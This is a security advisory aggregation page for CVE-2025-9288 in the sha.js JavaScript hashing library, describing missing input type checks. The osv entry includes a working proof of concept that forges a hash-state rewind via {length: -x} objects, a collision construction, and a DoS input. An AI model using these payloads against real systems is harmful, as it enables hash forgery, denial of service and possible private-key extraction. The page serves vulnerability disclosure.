Missing type checks leading to hash rewind and passing on crafted data
cve-program · CVE-2025-9288
PublishedImproper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
Read the publisher's advisoryeuvd · EUVD-2025-25403
PublishedImproper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
Read the publisher's advisorynvd · CVE-2025-9288
PublishedImproper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11.
Read the publisher's advisoryosv · GHSA-95m3-7q98-8xr5
Published### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe ``` Or just: ```console > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' > require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' ``` ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2025-9288 · CVE overview and exploitation status
cve-program · CVE-2025-9288
- https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
- https://github.com/browserify/sha.js/pull/78
- https://www.cve.org/CVERecord?id=CVE-2025-9287
euvd · EUVD-2025-25403
- https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
- https://github.com/browserify/sha.js/pull/78
- https://www.cve.org/CVERecord?id=CVE-2025-9287
nvd · CVE-2025-9288
- https://github.com/browserify/sha.js/pull/78
- https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
- https://www.cve.org/CVERecord?id=CVE-2025-9287
- https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html
osv · GHSA-95m3-7q98-8xr5
- https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
- https://nvd.nist.gov/vuln/detail/CVE-2025-9288
- https://github.com/browserify/sha.js/pull/78
- https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5
- https://github.com/browserify/sha.js
- https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html
- https://www.cve.org/CVERecord?id=CVE-2025-9287
Related changes
Linked by CVE identifier- Improper Input Validation vulnerability in sha.js allows Input Data Manipulation.This issue affects sha.js: through 2.4.11. · Advisory content revised · 15 Nov 2026